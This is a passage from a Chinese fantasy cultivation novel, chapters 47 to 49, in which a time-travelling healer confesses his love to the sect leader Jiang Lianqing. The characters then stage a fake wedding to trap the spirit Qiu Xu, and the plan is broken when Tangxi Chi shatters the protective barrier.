入目便是楚逢生欲言又止的表情,她一见到就想流泪。
她不喜欢什么都不知道的感觉。
她不喜欢和外界隔断,不喜欢只有自己被丢下了,不喜欢被刻意隐瞒……不喜欢看重之人,于她有戒备。
要说她矫情吗?可她就是这样,她就是会因此而难过。
无情道修者也是人,是人便会有爱恨嗔痴,不过相对于常人,会更分黑白,于事不是出于感情冲动罢了。
“你有什么要说的吗?你到底是从哪里来的?你说他们是胡说的也可以啊。”
楚逢生只是看着她,一言未发。
“楚逢生。”姜涟清伸手,轻轻抚上他的面颊,“你为什么看起来,这么难过?”
清凌凌的眸子微抬,与他对视。
“你早就知道好多东西,你为什么还看起来那么难过?”
楚逢生弯唇,露出一个勉强的微笑:“你不是听到了吗,我从哪里来。”
“可是我想听你说。”
她不要从别人口中听到他如何,她想听到他亲口所说。
姜涟清觉得心在发胀,酸酸涩涩。
“我想听你说,告诉我,楚逢生。”
“你来自何方。”
楚逢生漏出一声带着气音的笑来,抓住还未从脸上离开的纤纤玉指:“我自千年以后来,来完成一段历史。”
自千年以后而来,来陪你走完这旅途。
“所以,你都知道啊。”姜涟清的手被握在他掌心,他的手微凉,“你才是那个什么都知道的人。”
“是啊,我才是那个什么都知道的人。”楚逢生拉着她的手放下了,“就是知道,所以我才说,这些是不可言说之物。”
“我不知道怎么做才不会改变这段历史,但我说了,绝对会影响到你,改变你的行为。纵使你不想那么做,我的话也会刻在你脑海中,让你下意识感觉有更好的解决办法。”
“所以,我一点都不能说,可下意识吐出来的话语,我还是会担心。”楚逢生握着她的手,“我担心,你会不会看出什么,我可知道你多聪明啊。”
“最初告诉你我的名字,说来也是巧合,不过是因为,我不知道这具身体原先的主人是楚予思。”
“我要是最开始,就知道这是楚予思的身体,不知他是何种脾性也无妨,都会像我临行前所做的决定一样,以他的名字走过这段路。”
姜涟清眨了下眼:“可是你就是楚逢生,楚逢生就是楚逢生,我先认识的就是你。”
即便真是那般荒谬的今生穿成前世,她也不愿意他将自己与楚予思等同。
在她眼里,楚逢生就是楚逢生,什么转世什么身体原主人,她都不认。
她最先认识的,就是楚逢生。
“所以我说,我来完成一段历史嘛。”楚逢生故作轻松,“历史上所提到的人就是楚予思,所以我才会用他的名字。”
“倒不是否定前世与今生的联系,可楚惊鸿不是我姐姐,我也没有他的记忆,所以这芯子就是楚逢生。”
“原先还以为是楚予思遭到了什么意外,现在看来,是他本就死在降星洲,而与你一同走出来的,便已经是我了。”
“我的到来,按理来说已经是扰乱历史进程了,因果轮回因果轮回,我却忘了自身的因果,我现在可以肯定,后世再提起的楚予思是我。”
“至于棠溪迟所说的,楚予思为何去到降星洲的原因……”想起那人一副神秘莫测的样子,楚逢生就想笑。
楚予思的理由哪有春望选择吴云贺那般复杂?
前世与今生的脾性如此相似,那他想,他完全理解了。
“没有什么特别的理由,如果是我知道有人需要就医,我也会去的。”
姜涟清追着他的目光,不让他移开视线:“我不想知道这个。”
“我不想知道楚予思为什么要去降星洲。”
楚逢生:“那你想知道什么呢,涟清?”
水声潺潺,天泻瀑布划出一道银色的帘子,溅起水花,风拂过时,便带着些水珠,吹到了姜涟清的脸上。
楚逢生用另一只手将之擦去。
姜涟清:“我想知道,你为什么要和我……”
“我说过了啊。”楚逢生打断,“为了历史进程没有改变。”
姜涟清一皱眉,忍无可忍,一个脑瓜崩敲在他额头上。
他吃痛:“唔……”
姜涟清:“你再给我岔开话题试试?”
楚逢生辩解:“我哪有岔开话题啊?你冤枉我!”
“是不是冤枉你你心里有数!”姜涟清可太了解这人躲躲闪闪的样子了,说那一大堆忽悠谁呢?
“你要真是为了什么所谓的历史上有提到楚予思同行,才决定陪我走这一遭,现在就给我滚!”
“我自己一个人走这条路又怎么样?你一路上到底提供了什么非要不可的帮助?你要气死我吗!”
一通话给楚逢生骂得沉默了。
可他有些不敢说。
那点龌龊心思,还是埋在心里才最好,他单向的爱慕,姜涟清本就不知情。
就是知情了,就是得
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到她的正向回应了又能如何?千年之久便是鸿沟,他不会留在这里。
就像姜涟清有她的坚持,他亦然如此。
心中万般不愿,他还是认了这个继承人的身份,迟早要负起责任,迟早要接替阁主之位。
这是注定,有花也不得结果的感情。
可看着她的眼睛,他便硬不下心肠说出让她难过的话来。
“好吧。”他说,“那我就告诉你,我出于感性的理由。”
知道这理由之后,我的去留,便由你决定。
“我只是想,陪你走完这一路而已。”
姜涟清凑近一些:“当真如此?”
楚逢生:“当真如此。”
姜涟清:“为什么?”
楚逢生几乎想捂脸了,姜涟清怎么就是要问个明白呢?偏要他内心如此煎熬。
可只要她在眼前,他就找不出拒绝她的理由。楚逢生唾弃自己,人家这样正经不凡,自己偏偏想着些俗事。
“我心悦你,在千年之后,真正遇见你之前。”
“我向天起誓,此言非虚。”
楚逢生心道:求你了涟清,不要再折磨我了,除了未来之事,我为什么都告诉我。
我的少年心事,全部告诉你。
在见到你之前,我便爱上你了。
可眼前的少女睁大双眼,就那样愣住了,什么都说不出来。
姜涟清有些不敢相信自己的耳朵,她好像听楚逢生说,他心悦她。
心跳如雷声作响。
心悦之人……在穿越之前……
在穿越之前,那岂不是只能看着史书,看着史书去窥探自己是何种模样。
单凭一本史书……
好荒谬。
又好震撼,仅仅因为一本史书,便为她倾心吗?真正见过她之后,也不曾改吗?
姜涟清莫名有种落泪的冲动。
并非觉得悲哀。
楚逢生对她而言,就像是诚心许愿后,上天告诉她,你的愿意实现了。
哪有这样巧合的事呢?
她终于要独自一人踏上旅途,体会自己最不愿感受的孤独,上天便派了楚逢生跨越千年,来到她身边。
这也算是命中注定吧。
他恰巧遂了她的愿。
“你能再说一遍吗?”她目光渴求,迫切想再听一次楚逢生的答案。
“我说。”楚逢生定定地看着她的眼睛,“我心悦你,在千年之后。”
他牵起姜涟清的手,莫名想做一件再无法挽回之事。
“接下来,你要是不给我回答,我就要当你也有心了,涟清。”
楚逢生垂眸,牵起的那只手暴露了他此刻的心慌。既然已经说出,那做得再过一点吧。
或许真的是遗传。
钟离既白趁着红线引之法,要楚惊鸿直视自己的心意,再也不想玩那口是心非的戏码。
他便要趁此时机,让姜涟清做出抉择。
她情愿也好,不情愿也好。
他们楚家人,最会在感情上趁火打劫了。
风声轻起,吹乱二人的发丝,在楚逢生低头之际,那属于不同人的青丝就这样混合在一起。
不分彼此。
一个吻,轻轻落在她白皙手背上。
“默认吗,涟清姐姐?”
“……认的。”
47. chapter.47今生
“你们俩在这里干什么呢?”
这声音好生耳熟,却不如记忆中那般好心情,还是第一次听到楚惊鸿这样严肃。
挡住入坑的瀑布像帘子一般向两边推开,黑裙女子便站在这中间,深深皱了眉,身后还跟着一紫色的小小身影。
楚惊鸿原是算着时间差不多,才想要出来相迎的。
“还有。”她忽然眉头一松,眼神茫然,“我弟弟呢?”
二人一僵,一同望向来人,不约而同地从潭水上站起。
他们自然对楚予思没什么特别的印象,不在意他人是如何模样,这对他们的旅途没有任何帮助。
可楚予思生前还有亲人,一个……相依为命的,孪生姐姐。
楚予思与楚惊鸿,是一对双生子。
他们的眉眼并不完全相似,可只要站在那里,便觉得他们该有些特别的关系。
……他们觉得不重要的人,可不是世上无人在意。
清水溅到裙摆上,楚惊鸿迟迟等不到一个回答,她几步来到两人面前,再度问道:“我弟弟呢?”
楚惊鸿猛然转头看着楚逢生:“你不是我们家小四,那我弟弟呢?”
如出一辙的桃花眼泛着浅红,她哽咽着,想问一个亲人的去处。
姜涟清纠结片刻,还是决定告诉她真相,毕竟那是她亲弟弟。可她欲张口时,一直微凉的手拉住了她。
楚逢生微微摇头,叫她不要说。
这种事情,合该是占了楚予思身体的他来解释才对。无论转世几轮,终究不是那个楚予思了。
楚逢生:“嗯……我少了一个自我介绍,我叫楚逢生,我不是楚予思。”
楚惊鸿双手紧握,近步紧逼:“看出来了,所以我问,我弟弟呢?”
她只想知道,楚予思去哪里了。
尽管答案似乎不用言语也足够明晰,可万一呢?万一不是她想的这样呢?万一只是灵魂互换了,或是像孤魂寄生一般,意识来回切换呢?
万一不是他不见了呢?
不要离开,都不要。
不要离开她。
楚逢生无奈扶额,叹气:“唉……我也想知道他去哪里了,可一个时空要怎么容得下两个相同的灵魂呢?”
“我来了,所以他走了,就是这样。”
楚惊鸿还要问:“走了是什么意思?”
秋日的太阳并不炎热,可此刻却有些冷过了头。章窈漪从瀑布后跑出来,几步奔到姜涟清身后,轻轻拉住了姜涟清的衣袖。
“涟清姐姐,所以他并不是……?”章窈漪实在想不明白这两个人的性子哪里不同,明明都那般口嫌体直。
“可是,他们明明就一模一样。”
姜涟清摸摸她的脑袋,小声说:“灵魂一样的人,怎么会不一样呢?可是成为谁,是记忆做的主。”
“楚予思是楚予思,楚逢生是楚逢生,他们有各自不同的经历,偏要说是一人,想来不完全正确,也不完全错误。”
灵魂是不会变的,历经千百年都不会改变。只是,这转世轮回之事,若非活过千年,怕是难以见证。
此时楚逢生正想着,要怎么说才能不伤了这位姐姐的心,他毕竟见过她为了一个永不离弃的誓言便赌上真心之事。
楚惊鸿:“你就直接告诉我,不行吗?你不是小四,那小四到底去哪里了?去哪里了都好,你告诉我!”
“姐。”楚逢生喊了一声。
这语气却是与楚予思无二,喊得楚惊鸿一愣。
“从灵魂本质来说,我和楚予思的区别是什么,那还真没有。但从记忆层面来看,我不是楚予思。”
“相同的灵魂不可能存在同一时间,我活着,那便是他死了,死在降星洲,一群……”楚逢生一顿,抿了抿唇,“得了妄洲邪灵相助的虎妖手中,已是许久之前。”
“而我,从我的时代,阴差阳错跨过时空,灵魂附着到了前世的我,也就是楚予思的身上。”
“这样说,你明白了吗?楚惊鸿。”
*
再入绝音楼便已是轻车熟路,有人领着二人,要将他们带到韶华阁去,面见绝音楼楼主。
银杏叶未完全变黄,还有几分青色,结实地长在银杏枝丫上,被风吹着哗哗作响。
“涟清姐姐。”章窈漪还牵着姜涟清的衣袖,“你们看见了什么?”
姜涟清:“看见了当初的真相……或许,这妄洲灵……”她想起冬愿那张天真无邪的脸,以及一口一个救救‘我们’。
“算了,窈窈,你可以不用知道这些,等你和棠溪迟汇合,你就试试带他回云上洲吧。”
章窈漪:“嗯?大师兄不会这么快跟我走的,这个要看他心情了。”
好笑,看他心情。
“那就多劝劝他喽。”姜涟清道,“他现在可没有那个为所欲为的修为了,在这乱世之中何其危险。”
章窈漪思考一会,点头:“说的也是,大师兄怎么就……”怎么就会碎道呢?
姜涟清伸手拉了拉楚逢生的手:“我觉得不简单。”
楚逢生:“你说什么不简单,不会是……”他亦然想起那个屋檐上行为言语让他们吃了一惊的人。
姜涟清轻轻点了点头。
她总觉得,棠溪迟出现在盈洲不是因为心血来潮,也不是为了那一口相思泪酒。
那他是为了什么呢?
至今还不知他为何而碎道,谜团便又多了一个。他来盈洲,是为了什么呢?
他在众人关注点都在钟离既白身上时,与秋许轻飘飘地对话,毫无芥蒂。
棠溪迟,是最先知道妄洲灵一分为四的人。
可他知道,却未有要告知众人,警醒众人不要冬愿回到妄洲,便掉以轻心的意思。
她越来越看不懂了。
之前她说他像她二师兄一样,只不过做事时比较嘴硬,不肯直说……现在想来,或许真的是随心而为罢了。
好高高在上,这种……俯视苍生,围观天下事的态度。如此冷漠的旁观者,也会心甘情愿入局吗?
姜涟清有点摸不清他现在是什么想法,唯一可以确定的是,他不站在妄洲邪灵那一边。
“三位,楼主已经等候许久了。”绝音楼弟子打开门,让出一条道来。
韶华阁与七年前的装饰完全相同。
叮铃……
红衣女子坐在主位上,居高临下地看着二人,却还是给人一种平易近人的感觉。
就是那眼下青黛,有些惹眼。七年前她一身倦意,七年后依旧。不知是不是该说一句始终如一。
章流漪放下手中银色的铃铛,薇颜浅笑:“早便听闻,吴云贺的这位师妹,是个修无情道的天才,今日一见,果然不同凡响。”
姜涟清:“不敢当‘天才’二字,世上比我天赋更好之人不在少数。初次见面,章楼主。”
“我是归谕门第二十六代掌门,姜涟清。”
“唔,原是该叫姜门主,是我考虑不周了,我还以为归谕门经此一夜便消失了,还好……”章流漪是真心觉得,还好。
还好姜涟清没有放下这宗门,埋没在血海骨栾中,从此消失这个在世界上的宗门太多了。
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她还以为,归谕门也是如此。
还好。
姜涟清:“不会的,师尊师兄的传承,自是不能舍弃。”
这份态度,倒是叫章流漪喜欢:“好,归谕门有姜门主这样的领头人,定能重振旗鼓。”
“诸位请坐吧,姜门主的目的,我多少也有些明白了,既然目标一致便是朋友,不必过多拘谨。”
三人闻言,便各自落座。
姜涟清想起那堪称诡异的婚讯,不由随口脱出:“既如此,那我便不客气了。章楼主,我此番前来,倒并不是为了我二师兄的事,而是想来寻你。”
章流漪:“寻我?”
“嗯。”姜涟清点头,“我们在芳华城听闻,姜门主即将出嫁,而那新郎,是失踪已久的钟离既白。”
事实上,有这镜花水月一遭,姜涟清更确信此事非比寻常。章流漪既然知道那红线引已成,这放出去的消息,又是为何?
“唔……这消息确实是我放出去的,不过……”章流漪一笑,有些狡黠的意味,“谁说新娘是我了?”
“好不容易把新娘子骗过来,一切都在计划之中。”
她方才放下的银铃蓦然作响,又很快平静下来。
章流漪:“有这漠黎铃在,便不怕秋许听见我们的算盘了。妄洲之灵,还是要用妄洲之物去制约。”
“你觉得呢?姜门主,还有……”她的目光转向姜涟清身边人,“另一位楚医师。”
楚逢生一愣:“嗯?你怎么知道?”
“阿离刚才才来告诉我。”她叹息,“这个世界还是对她好一点吧,怎么什么人都不给她剩。”
“她脸色这么难看地走了,我还以为……”楚逢生还以为她悲伤过度,思绪混乱了。
谁曾想是直接来告诉章流漪了?
看来他还是把楚惊鸿想的太脆弱了。也是,他太奶奶从来就不是一碰就碎的瓷器,她可是初见就给了他太爷爷一巴掌的女人。
“阿离并没有那么难接受,转世轮回这样的事常常在世间流传,却未曾有人能活得如此长久。”章流漪解释说,“云上洲人除外,他们不问世事也不管天下。”
“只要楚予思不是魂飞魄散,那有什么关系呢?对她来说,楚予思只要安好就好了。前世也好,今生也好。”
楚惊鸿的愿望就那么简单。
“既然提到了这则婚讯……窈窈。”章流漪喊了一声,“你有把握,把棠溪迟带来吗?”
乍然被提及,章窈漪一惊,随即犹豫说:“难哦,大师兄不听话是云上洲众所周知之事,阿姊,你需要大师兄做什么?”
姜涟清也好奇,需要棠溪迟做什么?
“需要他来添个热闹,以及……关于即墨。”章流漪眼神一暗。
“前些日子,绝音楼向机关城传了一张青鸟传音符,可回信之人并非即墨逾,而是他身边那个后生可畏的小孩子。”
“回信说,即墨逾不能来盈洲,助我等一臂之力了。”
章窈漪出声:“为何?沧洲之事三月前便解决了啊。”
是啊。
姜涟清心里默念。
夏期带来的灾祸,在三月之前就解决了,那到底是为何才不得前来呢?
她有猜到,但并不愿意往这个方向去证实。
可,正是她所想的那样。
章流漪神色凝重一瞬,又泄了气,无力地扶了一下额头。
“倒是没想到,即墨逾能做到这种地步,夏期选中之人是棠溪迟吧。”
“回信说,即墨逾三月前死于同死共生咒。”
48. chapter.48请君
“他来不了那也罢了,可否请二位相助?只需要让她出现,没办法逃走就好。”
“可她怎么会轻易出现呢?”姜涟清说,“除非……”
章流漪:“除非,有人毁约,这便是为何,要将楚惊鸿带来盈洲,要钟离既白错开时候,去昙城。”
昙城,冬愿便是在此地魂归妄洲。
*
满街喧哗,敲锣打鼓,却无一人看这热闹。
每家每户门前都挂上了红灯笼,红绣球,连街上都沿途系起红飘带。
一看就造价不菲的红色花轿抬在路上,几个绝音楼弟子陪同在侧,却人人肃然,全然没有欢庆之意。
有不明真相的孩童,悄悄推开门,好奇地向外看去,却被大人一把拽回,再度锁上方面。
小男孩不解:“娘,这明明是喜事,怎么还不让人看了?之前不都是……”
他娘打断他的话:“嘘,不要让那个东西听到了,这是仙长的命令,我们凡人就不要过多询问,他们总有自己的道理。”
小男孩似懂非懂地点点头:“这样啊。”
屋外锣鼓喧天,红绸飘扬。
花轿很快便到了章府门前,一身着红衣的俊秀男子上前来。
绝音楼弟子将新娘从花轿中请出。
一条红绸交于二人手中,男子的右手隐约可见狰狞的疤痕。他深深看了新娘一眼,微愣,随后失笑。
他已然看穿,这红盖之下究竟是何人。
接下来的流程,二人都是第一次经历。
扮作司仪的楚逢生远远见到新郎真容时,差点破功,迫不及待地拉过姜涟清的手。
他的表情一言难尽:“我不行了涟清,原来是那个时候见过,啧……钟离既白,楚白啊?这一手易容术对极夜洲人来说简单的不得了。”
直接画出来就好了。
姜涟清一时有些茫然,钟离既白就是楚白?那他在芳华城卖魂玉是什么意思?
来不及再多想,一对新人迈过门槛,姜涟清连忙拍开楚逢生的手:“哎你放手,人来了。”
“做好准备,谁知道秋许会什么时候动手?”
不得许约,更不得许期,一旦违反,便是触了秋许的逆鳞……章流漪说,秋许不知新娘人选并不是她。
所以秋许会按照自己的准则,出现在违约之时,到时候发生些什么,便是不可控的了。
怪不得……
姜涟清看了一圈周围。
章府的普通人早便听从安排离开,现在剩下的,都是绝音楼金丹期弟子,与芳华城请来的能人异士。
走到固定位置时,楚白抬眸一看,见到司仪熟悉的面容,不由一挑眉。
楚逢生当然注意到他这意外的表情了,但介于如今这场戏的身份,他不能回一句“看什么看”。
红绸罗缎装饰,红烛已然点燃。
他清了清嗓子:“吉时已到——”
“一拜——天、地——”
楚白与新娘牵着红绸,转身朝着天地一拜。迎面吹来一阵秋风,吹动了红盖,隐约可见那俏丽面容。
她到现在都没说一句话。
一句交流都没有。
他余光瞥见,门外落座于远处屋檐的藕紫色身影,心下默念:来了。
就是不知,会在何时动手。
“二拜——高、堂——”
二人再度转身,面向无人所坐的高堂之位。
他与阿离,都是失去父母之人,这高堂,只得拜在天之灵。
说来,当时他走得急,一封书信都不曾留下,一点痕迹都没留给她。
是事态紧急吗?他问自己。
“夫妻——对拜——”
是,也不全是。
当时他在窗外看见秋许时,一种莫大的恐惧涌上心头。
秋许笑盈盈道:你们有一个约定,对吗?我最喜欢见证人的约定了。
所以……他当时做了什么?
他当即追了上去,想永绝后患。可刚走过生死之关的他大病未愈,抓不到秋许一片影子。
秋许说,她等着看,这份约定到底是多脆弱——那时还未有这不可许约更不得许期的规定。
他要留在盈洲,即便前一天他才同楚惊鸿说好,要回紫极洲。
本来有时间告诉她的,本来他会告诉她的。
可第一起命案发生的太快了,落金离芳华城太远了,青鸟传音符也耗尽。
好像是上天偏要他不辞而别。
后来,他干脆不回紫极洲了,只是每月给楚惊鸿去一张传音符,明月楼也在芳华城开业。
对拜结束,一抬头是那红纱覆盖的女子。
我们的默契,不止于此。
对吧,阿离?
“吉时已到——送入……”楚逢生的话还未说完,他便感到了一股强大的魔息正在急速靠近。
她的目标是楚白!
“终于来了……”
楚白一下抛开红绸,一柄唐刀飞到掌中,化神期的灵力开始凝聚,一刀挡下了那恐怖的魔息!
秋许悠然踏过门槛,神色凝重:“这种伎俩也想耍我?”她觉得可笑:“至于这位……”
楚惊鸿一掀开盖头,一双桃花眼凛然,发髻上的红芍药娇艳欲滴。她凭空召出一支翠绿的笔来,笔尖流转间画出一个灵咒,顿时罩住此方天地。
“阿离姑娘。”秋许压低了声音,“我真是,好久没有见到过你了哦~”
“嗯……毕竟你还是很特别的。”
她一副惋惜模样:“唯二的,我没有因为违约而给予惩罚的人,便是钟离既白了呢。”
楚惊鸿钿头银篦,红妆明艳,穿着嫁衣,正是好心情时。她一点也不想听她这挑拨离间的话。
“你又知道了。那很可惜了,钟离既白没有毁约,被毁约的只有你而已,怜惜我干什么?”
随后她一巴掌拍在楚白……也就是钟离既白头上:“你把你这张画出来的脸撤下来,什么画技?丑的要命。”
钟离既白莫名挨了一巴掌,甚是怀念:“哪里丑?你居然质疑我的画技!”说是这样说,却还是很听话地去了这虚假的面容。
“呵呵。”秋许冷笑,“不论你们之前是否毁约,现在可是毁了呢,我不过看不得许约不遵之人。”
暗紫色的魔气萦绕在她身侧,那猩红的眼眸发着光亮。
“你们找不到打死我的办法的,我可没有寄生过谁,今日的结果……”
她冰冷的红眸扫过在场每一个人:“只有我赢。”
“毕竟……”秋许弯唇一笑,“钟离既白,你的手挥了方才那一刀,怕是已经撑不住了吧?唔……好恐怖的疤痕。”
这种话楚惊鸿听了便生气,一看钟离既白那副云淡风轻的样子,气不打一处来。
周遭人是来除邪祟的,自是不听这鬼话,尤其是芳华城所来之人,更是同仇敌忾。<
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“呵呵,邪祟!少说这鬼话,我等今日便替天行道!”
“在座谁人不是为了除你而来?接招吧!”
“寡不敌众,你怎知我等没有办法?我们那么多人,打不过你一个小鬼,岂不是笑话?!”
不等秋许有所反应,这帮人便一哄而上,发起了攻击!
红烛烛火飘摇不定,点燃了一边的红绸缎,方才还是拜天地行礼之地,此刻便化作战场。
姜涟清自突破化神以来,还未正面对上个敌人,没有出手的机会,正巧借着此时来试试。
“”夜阑珊!”她大喝一声,红伞出现,伞缘珠链碰撞声清脆。
青衣飞扬,向着门外战场而去。
所谓天地之灵,纵使只是四分之一,实力也非同小可。
姜涟清想,最混沌的部分是春望,那秋许所持有的部分还相对纯粹。
很可惜,方才那寡不敌众之言固然气宇轩昂,但若只是金丹,确确实实无济于事。
这一点棠溪迟倒是没说错……姜涟清避开被秋许击飞的众人。
唯有到了化神,才能应对得了这妄洲邪灵。
青色的灵力传到红伞之上,伞尖便朝着那态度悠然的少女刺去。
秋许一转眸,伸出二指,夹住了伞尖。姜涟清瞳孔一缩,想抽回夜阑珊,却无果。
“化神期……这倒是有点麻烦呢。可惜术业有专攻,不是剑修不是刀修,也不是符修……”
“嗯,看着也不是医修画修……那么。”秋许对上姜涟清的眸子,“是降星洲的卜修,对吗?”
她指尖一松,姜涟清顺势抽回自己的红伞,一展开撑起。
秋许身边已经倒下了不少人,她不紧不慢道:“卜修,我倒是能想到一个,唔……春望很喜欢的人,他叫吴云贺哦。”
姜涟清眉头紧蹙,不想搭话。
身后的火渐渐吞没了整间房屋,楚逢生不得不带着楚惊鸿跑出来,顺便念叨着这群人打架真不小心,当章家人的房子是可以打水漂的吗?!
秋许没听到姜涟清回话,顿觉无趣,化作疏影逐光而去,凭空出现在楚逢生身后,掐住了他的肩膀:“我不想和你们这群疯子化神期打架,你最好不要再动了哦。”
“再打我,我可要动你的誓约者了。”
姜涟清:“……?”
楚逢生:“……”
他脱口而出:“你脑子有毛病吧?!”
说着,指尖出现几根冰蓝针器,狠狠往后抛去。寒玉引魄针对灵来说堪比凶器,一旦被它钉住,可再没有可能离开了!
秋许手一松,轻盈得往天上一飞。
“好凶,和楚予思一点也不像,不是医修吗?怎么这么凶?”
楚逢生头也不抬就嘲讽:“楚予思也不见得脾气好吧?该说你残忍还是说你天真?”
“你的心智也就比夏期成熟一点还想装什么大人,脸呢?夏期还会承认自己就是因为好玩,你呢?不过是偷听别人的约定,看见有人和你一样被毁约,就觉得自己不是一个人,出于不想伤害你的誓约人才去杀的别人的誓约人吧?”
“春望已经是纯变态了,冬愿也疯子一个,夏期那是真小孩心态,你算什么?你嫉妒死了吧。”
楚逢生转身拔下扎在残留房屋上的寒玉引魄针。
“不好意思啊,钟离既白就是永远不会离开楚惊鸿。”
这是他已见过的,美好而残缺的未来。
49. chapter.49云雾
“哦,差点就忘了。”
秋许这下彻底冷了脸,飞到楚逢生对面的空中,双手叉腰,居高临下地看着他。
“你不是此世之人,我所不知道的你全都知道,是这样没错吧?那你知道,小流儿最后到底有没有守约吗?”
姜涟清顿感荒谬,她的关注点居然在这里?
然,此话一出,钟离既白颤抖着手收起了百闻相见,掏出一张空白符咒:“你果然是为了章楼主,所以你的宿主,就是章流漪。”
“不是哦。”秋许摇了摇头,轻声,“回不回去又有什么关系呢?”她似怀春少女般捂上心口:“我只是在等她完成她的诺言而已。”
姜涟清一听这话顿觉稀奇:“那你还真是不一样呢,春望寄生我二师兄,冬愿寄生钟离既白,夏期看上棠溪迟,现在你说你不想和章楼主绑定在一起。”
是真的不想,还是说,仍然抱有期待?
那不巧了,此出戏幕,便是为了抹去她的期待。
一个青绿的保护罩已然建成,如同翠色水晶所制成。
一枚沙红姬花瓣回到秋许手中,握碎,她不由皱眉:“啧,真烦。”
“那接下来到底是如何,我也猜到了。”
她在七年前的夜里,亲眼见过冬愿是如何被剥离出钟离既白的身体。
灯火葳蕤的夜里,星星和月亮都那般明亮,她听见,冬愿在哭。
“好痛……好痛……啊啊啊啊啊——怎么这么痛啊……”
就好像,听见阿愿在风沙中哭泣,泪水模糊了视线,再看不清周遭景象。她好想说,不要哭了。
不要哭了阿愿,不要哭了。
明明她也是阿愿的一部分,她却想说:阿愿,不要哭了。
或许她和夏期不能与冬愿春望共情的原因,是那些苦难,不曾由他们在意。
现在的阿愿已经集齐多少了呢?秋许想,除了自己,怕是只差一个夏期。
远方好久未传来夏期的消息,可在盈洲,又能嗅到他的魔息。
这是你想要的吗?她问。并不是问阿愿,也不是问夏期。
如她所料,天空彻底蒙上一层碧色之后,绛色的音波从屋檐上而来。
悠远,飘摇……是定魂之曲。
琴音流转间,她看见,一袭红衣的貌美女子坐于高楼,指尖翻飞。
用对付冬愿的方式来对付她。
好无情啊,小玫瑰,你再也不是当初向阿愿许诺的小玫瑰了。秋许这一刻终于确定,她所守着的承诺,永远不会兑现了。
听到琴音的一瞬,姜涟清立刻抬头,果真见到了那位绝音楼楼主。
下一刻,她脚下一踏,腾空飞起,夜阑珊直往空中的秋许扎去!
定魂曲只能让她无法化作飞花散去,眼下钟离既白挥出一刀已经是极限,现场便只有她姜涟清有一战之力。
青色的灵力与魔气对冲,红伞不断旋转着,与之相抗。
姜涟清:“你们所做之事,即便是事出有因又能如何?若是天下人都可以以事出有因为借口,那将规则放在何处?错了便是错了,再卖可怜试试呢?”
秋许轻哼一声:“卖可怜的从来都不是我,倒是你,这位……姜姑娘,最喜欢卖可怜的那一个,一定会来你的梦里!”
“希望你到时候不会改变自己的想法!冬愿也好春望也好,他们所做不过血债血偿!”
秋许一使劲,强大的魔息迸发而出,姜涟清并不畏惧,收伞再一刺,灵力倾泻而出。
二人像是要以这纯粹的力量决出胜负。
可紧接着,一张符便随风吹来,强硬地锁上秋许柔细的腕。
下一刻,秋许面露惊恐,尖叫出声,被姜涟清一伞击飞!
“啊啊啊啊啊——!”
姜涟清定睛一看,那张黄符上所刻画之物……她想起了古籍中灵修面对离魂之人是如何做法。
本就有一曲定魂要秋许再不能散作飞花离去,眼下再接着一张束魂符。
那只要是个灵体,就翻不出花来!
姜涟清低头看向地面,钟离既白满头大汗,精神颓然,却露出了一个浅笑,然后便再也撑不住,靠着房屋残留之处,一点点滑落、坐下。
百闻宗天才,钟离既白,名不虚传。
百闻不如一见。
楚惊鸿见此连忙拉着楚逢生跑过去:“你不也是医修,快给他治治。”
楚逢生:“哎呀不要那么着急嘛。”
楚惊鸿:“不是你心上人你不着急是吧?”
“哦?”钟离既白面色苍白,却还有空调侃,“阿离终于承认心悦于我了,好生欣慰哦。”
楚惊鸿虚虚一巴掌甩他脸上:“嘴闭上!”
楚逢生:“……”
他为什么要在这里看一对爱侣打情骂俏。
姜涟清见此情形不禁一笑,他们姓楚的都好有意思。
她取了红伞上的珠链一甩:“去!”
黑红相间的珠链应声朝秋许飞去,欲将她捆起。
然,变故就在此时。
轰隆——
青绿色的屏障骤然破碎,凝聚的灵力顿时溃散,而做出屏障的主人,在它完全破裂后,楚惊鸿吐出了一口鲜血。
是谁……把这屏障……
姜涟清缓缓落地,漫天尘灰中,秋许便已不在原地,而那琴音莫名突兀,犹如凄惨的喊叫,是琴弦断了!
珠链回到了赤伞上,她转头望向来处。
有两个熟悉的身影疾步而来。
“大师兄!大师兄你等等我啊!你为什么要把这个敲碎……哎!你等等我!”
章窈漪追在那道少年身影之后,抱着截昙剑,面上满是不安。
的确,现在是该不安了……原先的计划出了意外。
棠溪迟完全没有回答问题,到了这院落,象征性地扫视一圈,眸中并无太多情绪。
当扫到姜涟清时,他丝毫不意外:“我就知道,姜门主一定不会坐视不理的。”
姜涟清不懂他为何要这般做,一切都功亏一篑。
“是你做的?”
“嗯哼。”棠溪迟坦然承认,“只有这样,她才会选一条,自己原先视为不耻的路啊。”
姜涟清:“谁?”
棠溪迟还未答应,血污染上嫁衣的楚惊鸿猛然转头,眼神不可置信:“棠溪迟,你发什么疯?”
“你难道看不出来这是在……”
“看出来了,所以我这样做啊。”棠溪迟道,“我们的目的并不相冲,倒不必怀疑我的动机。”
章窈漪一路跑来,呼吸急促,话也断断续续:“动、动机?大师兄你、你不是说……不管吗?”
“我只是说,不管他们要做什么,又没说我不做什么。”棠溪迟根本没看身后。
“妄洲灵是不可能杀死的,那就算所有灵都回到妄洲,也只能靠即墨逾的阵法苟延残喘一段时间,根本就不够。”
“这一切迟早会卷土重来。嗯……虽然妄洲灵会不会卷土重来我并不关心,但有人会关心。”
“所以,我想了一个馊主意喽。”
有绝音楼弟子爬上屋檐,要去寻他们楼主来主事,可楼上空留一把断了琴弦的古琴,那明艳身影再无踪迹。
很快便有弟子跑来院落,惊慌失措:“楼主不见了!这不对啊!我们楼主去哪里了?”
余火灭尽,唯有焚烧的痕迹证明它们曾来过,浓烟渐渐褪去了。
“既然秋许只想要章流漪完成约定,那就让她知道永远都不可能吧,这就是你们所做之事对秋许的意义。”
“若是此时破开屏障,取得一线生机,那在场所有人,她唯一愿意寄生逃脱之人就只有章流漪,再恋战绝无好处,毕竟她觉得化神期都是疯子一群。不要问我为什么,只要知道我说的对就行。”
章窈漪听到她阿姊的名字,不禁失声道:“我阿姊?大师兄,为什……”
“我说了不要问为什么。”棠溪迟没让她说完,直接打断。
他将手中颜色如夜火一般的折扇一开,装着样子扇了扇风。
“他们一旦汇聚到一起,便会凑成阿愿,那时只要有一副躯体,就不需要费尽心思去杀死祂了。”
“天地之灵是很难杀死的,唯一能杀了祂的,只有祂的法则。所以只有封印人就好了,一个足够强大,可以容得下整个阿愿的人。”
